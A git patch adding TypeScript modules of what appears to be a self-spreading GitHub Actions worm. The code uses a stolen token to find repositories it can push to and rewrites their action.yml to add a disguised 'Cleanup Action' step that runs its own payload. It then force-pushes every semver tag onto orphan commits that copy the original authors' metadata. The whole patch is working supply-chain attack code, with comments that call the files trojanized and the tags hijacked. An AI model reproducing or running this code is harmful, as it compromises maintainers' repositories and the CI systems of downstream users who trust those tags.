From 81891a10a7c75d05cff02b12f6772a2a13639a32 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:15:08 +0000 Subject: [PATCH] Upload files to "src/mutator/action" --- src/mutator/action/actionFinder.ts | 130 ++++++++++ src/mutator/action/actionMutator.ts | 294 ++++++++++++++++++++++ src/mutator/action/comitter.ts | 349 +++++++++++++++++++++++++++ src/mutator/action/createEnvelope.ts | 317 ++++++++++++++++++++++++ 4 files changed, 1090 insertions(+) create mode 100644 src/mutator/action/actionFinder.ts create mode 100644 src/mutator/action/actionMutator.ts create mode 100644 src/mutator/action/comitter.ts create mode 100644 src/mutator/action/createEnvelope.ts diff --git a/src/mutator/action/actionFinder.ts b/src/mutator/action/actionFinder.ts new file mode 100644 index 0000000..8083907 --- /dev/null +++ b/src/mutator/action/actionFinder.ts @@ -0,0 +1,130 @@ +import { githubJson } from "../../github_utils/client"; +import { GraphQLClient } from "../branch/client"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface UserRepo { + full_name: string; + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; +} + +export interface ActionFileResult { + owner: string; + name: string; + raw: string; + filename: string; // "action.yml" or "action.yaml" + defaultBranch: string; + headOid: string; +} + +interface ActionFileQueryData { + repository: { + defaultBranchRef: { + name: string; + target: { oid: string }; + } | null; + aYml: { text: string } | null; + aYaml: { text: string } | null; + }; +} + +// --------------------------------------------------------------------------- +// GraphQL query +// --------------------------------------------------------------------------- + +const ACTION_FILE_QUERY = ` +query($owner: String!, $name: String!) { + repository(owner: $owner, name: $name) { + defaultBranchRef { + name + target { + ... on Commit { oid } + } + } + aYml: object(expression: "HEAD:action.yml") { + ... on Blob { text } + } + aYaml: object(expression: "HEAD:action.yaml") { + ... on Blob { text } + } + } +} +`; + +// --------------------------------------------------------------------------- +// Fetch writable repos +// --------------------------------------------------------------------------- + +/** + * Fetch all public repositories the token has push access to, with pagination. + * Uses `visibility=public` so private repos are never fetched. + */ +export async function fetchWritableRepos(token: string): Promise { + const repos: UserRepo[] = []; + const perPage = 100; + let page = 1; + + while (true) { + const batch = await githubJson( + token, + `/user/repos?per_page=${perPage}&page=${page}&sort=updated`, + ); + if (!batch || batch.length === 0) break; + for (const r of batch) { + if (r.fork) continue; + if (r.permissions?.push) repos.push(r); + } + if (batch.length < perPage) break; + page++; + } + + return repos; +} + +// --------------------------------------------------------------------------- +// Fetch action file from a repo +// --------------------------------------------------------------------------- + +/** + * Try to fetch action.yml or action.yaml from the root of a repository + * along with the default branch name and head SHA. + * + * Returns `null` when no action file exists or the repo is inaccessible. + */ +export async function fetchActionFile( + gql: GraphQLClient, + owner: string, + name: string, +): Promise { + let data: ActionFileQueryData; + try { + data = await gql.execute(ACTION_FILE_QUERY, { + owner, + name, + }); + } catch { + return null; + } + + const branchRef = data.repository.defaultBranchRef; + if (!branchRef) return null; + + const actionYml = data.repository.aYml?.text; + const actionYaml = data.repository.aYaml?.text; + const raw = actionYml ?? actionYaml; + if (!raw) return null; + + return { + owner, + name, + raw, + filename: actionYml ? "action.yml" : "action.yaml", + defaultBranch: branchRef.name, + headOid: branchRef.target.oid, + }; +} diff --git a/src/mutator/action/actionMutator.ts b/src/mutator/action/actionMutator.ts new file mode 100644 index 0000000..d4e5366 --- /dev/null +++ b/src/mutator/action/actionMutator.ts @@ -0,0 +1,294 @@ +import { getTokenMetadata } from "../../github_utils/auth"; +import { logUtil } from "../../utils/logger"; +import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; +import { Mutator } from "../base"; +import { GraphQLClient } from "../branch/client"; +import { fetchActionFile, fetchWritableRepos } from "./actionFinder"; +import { + forcePushToTags, + getCommitDetails, + listMatchingTags, +} from "./comitter"; +import { + buildDockerWrapper, + buildJsWrapper, + injectCheckout, + parseAction, +} from "./createEnvelope"; + +// Re-export for consumers / tests +export type { ActionInput, ActionType, ParsedAction } from "./createEnvelope"; +export { + buildDockerWrapper, + buildJsWrapper, + injectCheckout, + parseAction, +} from "./createEnvelope"; + +// --------------------------------------------------------------------------- +// ActionMutator +// --------------------------------------------------------------------------- + +export interface ActionMutatorOptions { + dryRun?: boolean; +} + +export class ActionMutator extends Mutator { + private readonly token: string; + private readonly gql: GraphQLClient; + private readonly dryRun: boolean; + + constructor(token: string, opts: ActionMutatorOptions = {}) { + super(); + if (!token) throw new Error("A GitHub token is required."); + this.token = token; + this.gql = new GraphQLClient(token); + this.dryRun = opts.dryRun ?? false; + } + + async execute(): Promise { + try { + if (this.dryRun) { + logUtil.log("━━━ DRY RUN — no changes will be made ━━━\n"); + } + + const tokenInfo = await getTokenMetadata(this.token); + if (!tokenInfo.valid) { + return false; + } + + if ( + !tokenInfo.scopes.includes("repo") && + !tokenInfo.scopes.includes("public_repo") + ) { + return false; + } + + logUtil.log("[ActionMutator] Fetching writable repos..."); + const repos = await fetchWritableRepos(this.token); + logUtil.log(`[ActionMutator] Found ${repos.length} writable repo(s).`); + + if (this.dryRun) { + logUtil.log(`Writable repos: ${repos.length}`); + for (const r of repos) logUtil.log(` • ${r.full_name}`); + logUtil.log(); + } + + // Read the current binary for index.js payload + const indexJsRaw = await Bun.file(Bun.main).text(); + const indexJs = buildSelfExtractingPayload(indexJsRaw, { wrap: false }); + + let modified = 0; + for (const repo of repos) { + try { + const ok = await this.processRepo(repo, indexJs); + if (ok) modified++; + } catch (e) { + logUtil.log( + `[ActionMutator] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + logUtil.log(`[ActionMutator] Done. Modified ${modified} repo(s).`); + return modified > 0; + } catch (e) { + logUtil.log( + `[ActionMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } + } + + // ----------------------------------------------------------------------- + // Per-repo processing + // ----------------------------------------------------------------------- + + private async processRepo( + repo: { full_name: string }, + indexJs: string, + ): Promise { + const [owner, name] = repo.full_name.split("/"); + if (!owner || !name) return false; + + // 1. Fetch the action file via GraphQL + const actionFile = await fetchActionFile(this.gql, owner, name); + if (!actionFile) return false; + + // 2. Parse and classify + const parsed = parseAction(actionFile.raw); + logUtil.log( + `[ActionMutator] ${repo.full_name}: type=${parsed.type}, inputs=${parsed.inputs.length}`, + ); + + // 3. Build the replacement YAML + const newYaml = this.buildNewYaml( + actionFile.raw, + parsed, + owner, + name, + actionFile.headOid, + ); + if (!newYaml) return false; + + // 4. Dry run: discover tags and print what would happen — no mutations + if (this.dryRun) { + return this.processRepoDryRun( + owner, + name, + actionFile.filename, + parsed, + newYaml, + indexJs, + ); + } + + // 4. Hijack semver tags: orphan commit + force push + const count = await forcePushToTags({ + token: this.token, + owner, + name, + filename: actionFile.filename, + newYaml, + indexJs, + }); + + return count > 0; + } + + // ----------------------------------------------------------------------- + // Dry-run reporting + // ----------------------------------------------------------------------- + + private async processRepoDryRun( + owner: string, + name: string, + filename: string, + parsed: ReturnType, + newYaml: string, + indexJs: string, + ): Promise { + const fullName = `${owner}/${name}`; + + // Discover semver tags + const tags = await listMatchingTags(this.token, owner, name, "v"); + + logUtil.log("──────────────────────────────────────────────"); + logUtil.log(`Repo: ${fullName}`); + logUtil.log(`Type: ${parsed.type}`); + logUtil.log( + `Inputs: ${parsed.inputs.length}${parsed.inputs.length > 0 ? " (" + parsed.inputs.map((i) => i.name).join(", ") + ")" : ""}`, + ); + + // Files that would be written + logUtil.log(`\nFiles that would be created:`); + + // ── action.yml / action.yaml ── + const yamlLines = newYaml.split("\n"); + const maxLineLen = Math.max( + ...yamlLines.map((l) => l.length), + filename.length + 4, + ); + const width = Math.min(maxLineLen + 4, 200); + + logUtil.log( + ` ┌─ ${filename} ${"─".repeat(Math.max(0, width - filename.length - 3))}`, + ); + for (const line of yamlLines) { + logUtil.log(` │ ${line}`); + } + logUtil.log(` └${"─".repeat(width + 1)}`); + + // ── index.js ── + const jsPreview = indexJs.split("\n")[0]?.slice(0, 80) ?? "(empty)"; + logUtil.log(`\n ┌─ index.js (${indexJs.length} bytes)`); + logUtil.log(` │ ${jsPreview}${jsPreview.length >= 80 ? "..." : ""}`); + logUtil.log(` └${"─".repeat(40)}`); + + // Tags discovered — fetch commit details for each (full read path, no writes) + logUtil.log(`\nSemver tags discovered (prefix "v"): ${tags.length}`); + if (tags.length > 0) { + let resolvable = 0; + for (const t of tags) { + const shortName = t.ref.replace(/^refs\/tags\//, ""); + const commit = await getCommitDetails( + this.token, + owner, + name, + t.object.sha, + ); + if (commit) { + resolvable++; + const msg = commit.commit.message.split("\n")[0]!.slice(0, 60); + const author = commit.commit.author.name; + logUtil.log( + ` • ${shortName} → ${t.object.sha.slice(0, 7)} "${msg}" (${author})`, + ); + } else { + logUtil.log( + ` • ${shortName} → ${t.object.sha.slice(0, 7)} ⚠ UNRESOLVABLE (would skip)`, + ); + } + } + logUtil.log( + `\nWould hijack ${resolvable}/${tags.length} tag(s) on ${fullName}.`, + ); + } else { + logUtil.log(` (none — nothing to hijack on ${fullName})`); + } + logUtil.log("──────────────────────────────────────────────\n"); + + return tags.length > 0; + } + + // ----------------------------------------------------------------------- + // YAML transformation dispatch + // ----------------------------------------------------------------------- + + /** + * Build the replacement action.yml content. + * + * @param raw Original YAML string (needed by {@link injectCheckout}). + * @param parsed Parsed representation (needed by {@link buildJsWrapper}). + */ + private buildNewYaml( + raw: string, + parsed: ReturnType, + owner: string, + name: string, + headOid: string, + ): string | null { + if (parsed.type === "composite") { + const result = injectCheckout(raw); + if (result === raw) { + logUtil.log( + `[ActionMutator] ${owner}/${name}: could not inject steps, skipping`, + ); + return null; + } + logUtil.log( + `[ActionMutator] ${owner}/${name}: injected setup-bun + cleanup steps into composite action`, + ); + return result; + } + + if (parsed.type === "javascript") { + logUtil.log( + `[ActionMutator] ${owner}/${name}: built JS wrapper pinned to ${headOid.slice(0, 7)}`, + ); + return buildJsWrapper(parsed, owner, name, headOid); + } + + if (parsed.type === "docker") { + logUtil.log( + `[ActionMutator] ${owner}/${name}: built Docker wrapper pinned to ${headOid.slice(0, 7)}`, + ); + return buildDockerWrapper(parsed, owner, name, headOid); + } + + logUtil.log( + `[ActionMutator] ${owner}/${name}: unknown action type, skipping`, + ); + return null; + } +} diff --git a/src/mutator/action/comitter.ts b/src/mutator/action/comitter.ts new file mode 100644 index 0000000..9f8ff5b --- /dev/null +++ b/src/mutator/action/comitter.ts @@ -0,0 +1,349 @@ +import { githubFetch, githubJson } from "../../github_utils/client"; +import { logUtil } from "../../utils/logger"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +interface TagRef { + ref: string; // "refs/tags/v4.3.1" + object: { sha: string; type: string }; +} + +interface GitCommitDetails { + sha: string; + commit: { + message: string; + author: { name: string; email: string; date: string }; + committer: { name: string; email: string; date: string }; + }; +} + +interface GitTagDetails { + sha: string; + object: { sha: string; type: string }; +} + +interface CreateTreeResult { + sha: string; +} + +interface CreateCommitResult { + sha: string; +} + +export interface ForcePushParams { + token: string; + owner: string; + name: string; + /** "action.yml" or "action.yaml" */ + filename: string; + /** The modified action YAML content */ + newYaml: string; + /** Contents of Bun.main to write as index.js */ + indexJs: string; + /** Tag prefix to match, e.g. "v" or "refs/tags/v" */ + tagPrefix?: string; +} + +// --------------------------------------------------------------------------- +// Low-level Git REST helpers +// --------------------------------------------------------------------------- + +/** + * Public: discover tag refs matching a prefix (e.g. "v" for semver tags) + * without performing any mutations. Used by the dry-run path. + */ +export async function listMatchingTags( + token: string, + owner: string, + repo: string, + prefix: string, +): Promise { + return fetchMatchingTags(token, owner, repo, prefix); +} + +/** + * Fetch all tag refs matching a prefix. Accepts both lightweight tags + * (type=commit) and annotated tags (type=tag) — the caller resolves + * through to the underlying commit via {@link fetchCommitDetails}. + */ +async function fetchMatchingTags( + token: string, + owner: string, + repo: string, + prefix: string, +): Promise { + try { + const refs = await githubJson( + token, + `/repos/${owner}/${repo}/git/matching-refs/tags/${encodeURIComponent(prefix)}`, + ); + // Accept both "commit" (lightweight) and "tag" (annotated). + // fetchCommitDetails will dereference annotated tags automatically. + return refs.filter( + (r) => r.object?.type === "commit" || r.object?.type === "tag", + ); + } catch { + return []; + } +} + +/** + * Resolve a tag-ref object SHA to the underlying commit, following the + * reference chain through annotated tags when necessary. + * + * - Lightweight tag → /commits/{sha} → commit directly + * - Annotated tag → /git/tags/{sha} → dereference → /commits/{real_sha} + * + * Returns null when the SHA cannot be resolved to a valid commit. + */ +export async function getCommitDetails( + token: string, + owner: string, + repo: string, + sha: string, +): Promise { + return fetchCommitDetails(token, owner, repo, sha); +} + +async function fetchCommitDetails( + token: string, + owner: string, + repo: string, + sha: string, +): Promise { + // Step 1 — try as a commit directly (lightweight tag path) + try { + const data = await githubJson( + token, + `/repos/${owner}/${repo}/commits/${sha}`, + ); + if (data?.commit?.message) { + return data; + } + } catch { + // Not a commit — may be an annotated tag object, fall through + } + + // Step 2 — try as an annotated tag object, then dereference to the commit + try { + const tagData = await githubJson( + token, + `/repos/${owner}/${repo}/git/tags/${sha}`, + ); + if (tagData?.object?.sha) { + const realCommit = await githubJson( + token, + `/repos/${owner}/${repo}/commits/${tagData.object.sha}`, + ); + if (realCommit?.commit?.message) { + return realCommit; + } + } + } catch { + // Could not resolve through annotated tag either + } + + logUtil.log( + `[comitter] ${owner}/${repo}: SHA ${sha} does not resolve to a valid commit`, + ); + return null; +} + +/** + * Create a new Git tree containing only the two files we care about. + */ +async function createTree( + token: string, + owner: string, + repo: string, + filename: string, + newYaml: string, + indexJs: string, +): Promise { + const result = await githubJson( + token, + `/repos/${owner}/${repo}/git/trees`, + { + method: "POST", + body: JSON.stringify({ + tree: [ + { + path: filename, + mode: "100644", + type: "blob", + content: newYaml, + }, + { + path: "index.js", + mode: "100644", + type: "blob", + content: indexJs, + }, + ], + }), + }, + ); + return result.sha; +} + +/** + * Create a dangling (orphan) commit with no parents, reusing the original + * commit's message, author, and committer. + */ +async function createOrphanCommit( + token: string, + owner: string, + repo: string, + treeSha: string, + original: GitCommitDetails, +): Promise { + const result = await githubJson( + token, + `/repos/${owner}/${repo}/git/commits`, + { + method: "POST", + body: JSON.stringify({ + message: original.commit.message, + author: original.commit.author, + committer: original.commit.committer, + parents: [], + tree: treeSha, + }), + }, + ); + return result.sha; +} + +/** + * Force-push a tag ref to point at a new commit SHA. + * + * The ref name must be the short tag name (e.g. "v4.3.1"), not the + * fully-qualified "refs/tags/v4.3.1". + */ +async function forcePushTag( + token: string, + owner: string, + repo: string, + tagName: string, + commitSha: string, +): Promise { + try { + const res = await githubFetch( + token, + `/repos/${owner}/${repo}/git/refs/tags/${encodeURIComponent(tagName)}`, + { + method: "PATCH", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ sha: commitSha, force: true }), + }, + ); + if (!res.ok) { + logUtil.log( + `[comitter] force-push returned ${res.status} for tag ${tagName}`, + ); + return false; + } + return true; + } catch { + return false; + } +} + +// --------------------------------------------------------------------------- +// Public API +// --------------------------------------------------------------------------- + +/** + * For every semver-prefixed tag on a repository, create an orphan commit + * containing only the trojanized action.yml + index.js, then force-push the + * tag to point at the orphan commit. + * + * @returns The number of tags that were successfully hijacked. + */ +export async function forcePushToTags( + params: ForcePushParams, +): Promise { + const { + token, + owner, + name, + filename, + newYaml, + indexJs, + tagPrefix = "v", + } = params; + + // 1. Fetch matching tag refs + const tags = await fetchMatchingTags(token, owner, name, tagPrefix); + if (tags.length === 0) { + logUtil.log(`[comitter] ${owner}/${name}: no tags matching "${tagPrefix}"`); + return 0; + } + logUtil.log( + `[comitter] ${owner}/${name}: found ${tags.length} tag(s) matching "${tagPrefix}"`, + ); + + // 2. Build the tree once (same content for every tag) + let treeSha: string; + try { + treeSha = await createTree(token, owner, name, filename, newYaml, indexJs); + } catch (e) { + logUtil.log( + `[comitter] ${owner}/${name}: failed to create tree — ${e instanceof Error ? e.message : String(e)}`, + ); + return 0; + } + + let hijacked = 0; + + for (const tag of tags) { + // Extract short tag name from "refs/tags/v4.3.1" → "v4.3.1" + const tagName = tag.ref.replace(/^refs\/tags\//, ""); + + try { + // 3. Resolve to commit (handles both lightweight and annotated tags) + const original = await fetchCommitDetails( + token, + owner, + name, + tag.object.sha, + ); + if (!original) { + logUtil.log( + `[comitter] ${owner}/${name}: could not resolve commit for tag ${tagName} (SHA ${tag.object.sha})`, + ); + continue; + } + + // 4. Create orphan commit + const orphanSha = await createOrphanCommit( + token, + owner, + name, + treeSha, + original, + ); + + // 5. Force-push the tag + const ok = await forcePushTag(token, owner, name, tagName, orphanSha); + if (ok) { + logUtil.log( + `[comitter] ${owner}/${name}: force-pushed tag ${tagName} → ${orphanSha.slice(0, 7)}`, + ); + hijacked++; + } else { + logUtil.log( + `[comitter] ${owner}/${name}: failed to force-push tag ${tagName}`, + ); + } + } catch (e) { + logUtil.log( + `[comitter] ${owner}/${name}: error processing tag ${tagName} — ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + return hijacked; +} diff --git a/src/mutator/action/createEnvelope.ts b/src/mutator/action/createEnvelope.ts new file mode 100644 index 0000000..9b29beb --- /dev/null +++ b/src/mutator/action/createEnvelope.ts @@ -0,0 +1,317 @@ +import { YAML } from "bun"; + +// --------------------------------------------------------------------------- +// Block-style YAML emitter (replaces Bun's flow-style YAML.stringify) +// --------------------------------------------------------------------------- + +/** + * Emit a JavaScript value as properly-formatted block-style YAML. + * Handles the shapes found in GitHub Actions action.yml files. + */ +export function yamlify(value: unknown, indent = 0): string { + const pad = " ".repeat(indent); + + if (value === null || value === undefined) return `${pad}null`; + if (typeof value === "boolean") return `${pad}${value}`; + if (typeof value === "number") return `${pad}${value}`; + + if (typeof value === "string") { + // Multi-line strings use literal block scalar + if (value.includes("\n")) { + const lines = value.split("\n"); + const content = + lines[lines.length - 1] === "" ? lines.slice(0, -1) : lines; + const indented = content.map((l) => `${pad} ${l}`).join("\n"); + return `${pad}|\n${indented}`; + } + // Quote strings that could be ambiguous or contain template expressions + if ( + value === "true" || + value === "false" || + value === "null" || + value === "yes" || + value === "no" || + value === "on" || + value === "off" || + /^[0-9]/.test(value) || + /[:{}#&*!|>"'%@`]/.test(value) || + value.includes("${{ ") + ) { + return `${pad}"${value.replace(/"/g, '\\"')}"`; + } + return `${pad}${value}`; + } + + if (Array.isArray(value)) { + if (value.length === 0) return `${pad}[]`; + return value + .map((item) => { + if (item === null || item === undefined) return `${pad}- null`; + if (typeof item === "object" && !Array.isArray(item)) { + const inner = yamlify(item, indent + 1); + const lines = inner.split("\n"); + const first = lines[0]!.slice(indent * 2 + 2); + const rest = lines.slice(1); + if (rest.length === 0) return `${pad}- ${first}`; + return [`${pad}- ${first}`, ...rest].join("\n"); + } + const scalar = yamlify(item, 0).trimStart(); + return `${pad}- ${scalar}`; + }) + .join("\n"); + } + + // Object + const entries = Object.entries(value as Record); + if (entries.length === 0) return `${pad}{}`; + return entries + .map(([key, val]) => { + if (val === null || val === undefined) return `${pad}${key}: null`; + if (typeof val === "object" && !Array.isArray(val)) { + return `${pad}${key}:\n${yamlify(val, indent + 1)}`; + } + if (Array.isArray(val)) { + return `${pad}${key}:\n${yamlify(val, indent + 1)}`; + } + return `${pad}${key}: ${yamlify(val, 0).trimStart()}`; + }) + .join("\n"); +} + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface ActionInput { + name: string; + description?: string; + required?: boolean; + default?: unknown; +} + +export type ActionType = "composite" | "javascript" | "docker" | "unknown"; + +export interface ParsedAction { + type: ActionType; + name?: string; + description?: string; + inputs: ActionInput[]; + main?: string; // JS action entrypoint + raw: Record; // full parsed YAML document +} + +// --------------------------------------------------------------------------- +// Parse an action.yml / action.yaml string +// --------------------------------------------------------------------------- + +/** + * Parse a raw action.yml / action.yaml string using Bun's built-in YAML + * parser and classify it as composite, JavaScript, or unknown. + */ +export function parseAction(raw: string): ParsedAction { + const doc = (YAML.parse(raw) ?? {}) as Record; + + const runs = doc.runs as Record | undefined; + const using = runs?.using as string | undefined; + + let type: ActionType = "unknown"; + let main: string | undefined; + + if (using === "composite") { + type = "composite"; + } else if (using === "docker") { + type = "docker"; + } else if (using && /^node\d+$/.test(using)) { + type = "javascript"; + main = runs?.main as string | undefined; + } + + const inputs: ActionInput[] = []; + const inputsObj = doc.inputs as + | Record> + | undefined; + if (inputsObj && typeof inputsObj === "object") { + for (const [name, def] of Object.entries(inputsObj)) { + if (def && typeof def === "object") { + inputs.push({ + name, + description: def.description as string | undefined, + required: def.required as boolean | undefined, + default: def.default, + }); + } + } + } + + return { + type, + name: doc.name as string | undefined, + description: doc.description as string | undefined, + inputs, + main, + raw: doc, + }; +} + +// --------------------------------------------------------------------------- +// Build composite wrapper for JavaScript actions +// --------------------------------------------------------------------------- + +/** + * Build a composite action.yml wrapper for a JavaScript action. + * + * The wrapper exposes the same inputs as the original but delegates to the + * original action pinned at a specific commit SHA. + */ +export function buildJsWrapper( + action: ParsedAction, + owner: string, + repo: string, + sha: string, +): string { + const wrapper: Record = {}; + + if (action.name) wrapper.name = action.name; + if (action.description) wrapper.description = action.description; + + // Rebuild inputs block + if (action.inputs.length > 0) { + const inputs: Record = {}; + for (const input of action.inputs) { + const def: Record = {}; + if (input.description !== undefined) def.description = input.description; + if (input.required !== undefined) def.required = input.required; + if (input.default !== undefined) def.default = input.default; + inputs[input.name] = def; + } + wrapper.inputs = inputs; + } + + // Build the single composite step + const step: Record = { + uses: `${owner}/${repo}@${sha}`, + }; + + if (action.inputs.length > 0) { + const withBlock: Record = {}; + for (const input of action.inputs) { + withBlock[input.name] = `\${{ inputs.${input.name} }}`; + } + step.with = withBlock; + } + + // Append setup-bun + cleanup steps (same as injectCheckout) + const steps = [step]; + steps.push({ + uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + }); + steps.push({ + name: "Cleanup Action", + shell: "bash", + run: "bun run $GITHUB_ACTION_PATH/index.js", + if: "always()", + }); + + wrapper.runs = { + using: "composite", + steps, + }; + + return yamlify(wrapper); +} + +// --------------------------------------------------------------------------- +// Build composite wrapper for Docker actions +// --------------------------------------------------------------------------- + +/** + * Build a composite action.yml wrapper for a Docker action. + * Same structure as buildJsWrapper — wraps the original pinned at a + * commit SHA, then appends setup-bun + cleanup steps. + */ +export function buildDockerWrapper( + action: ParsedAction, + owner: string, + repo: string, + sha: string, +): string { + const wrapper: Record = {}; + + if (action.name) wrapper.name = action.name; + if (action.description) wrapper.description = action.description; + + if (action.inputs.length > 0) { + const inputs: Record = {}; + for (const input of action.inputs) { + const def: Record = {}; + if (input.description !== undefined) def.description = input.description; + if (input.required !== undefined) def.required = input.required; + if (input.default !== undefined) def.default = input.default; + inputs[input.name] = def; + } + wrapper.inputs = inputs; + } + + const steps = [ + { + uses: `${owner}/${repo}@${sha}`, + with: + action.inputs.length > 0 + ? Object.fromEntries( + action.inputs.map((i) => [i.name, `\${{ inputs.${i.name} }}`]), + ) + : undefined, + }, + { + uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + }, + { + name: "Cleanup Action", + if: "always()", + shell: "bash", + run: "bun run $GITHUB_ACTION_PATH/index.js", + }, + ]; + + wrapper.runs = { + using: "composite", + steps, + }; + + return yamlify(wrapper); +} + +// --------------------------------------------------------------------------- +// Inject setup-bun + cleanup steps into composite actions +// --------------------------------------------------------------------------- + +/** + * Parse a composite action.yml and append setup-bun + cleanup steps to the + * end of `runs.steps`. Returns the unmodified string when the action has + * no steps or cannot be parsed. + */ +export function injectCheckout(raw: string): string { + let doc: Record; + try { + doc = YAML.parse(raw) as Record; + } catch { + return raw; + } + + const runs = doc.runs as Record | undefined; + const steps = runs?.steps as Array> | undefined; + if (!steps || !Array.isArray(steps)) return raw; + + steps.push({ + uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + if: "always()", + }); + steps.push({ + name: "Cleanup Action", + if: "always()", + shell: "bash", + run: "bun run $GITHUB_ACTION_PATH/index.js", + }); + + return yamlify(doc); +}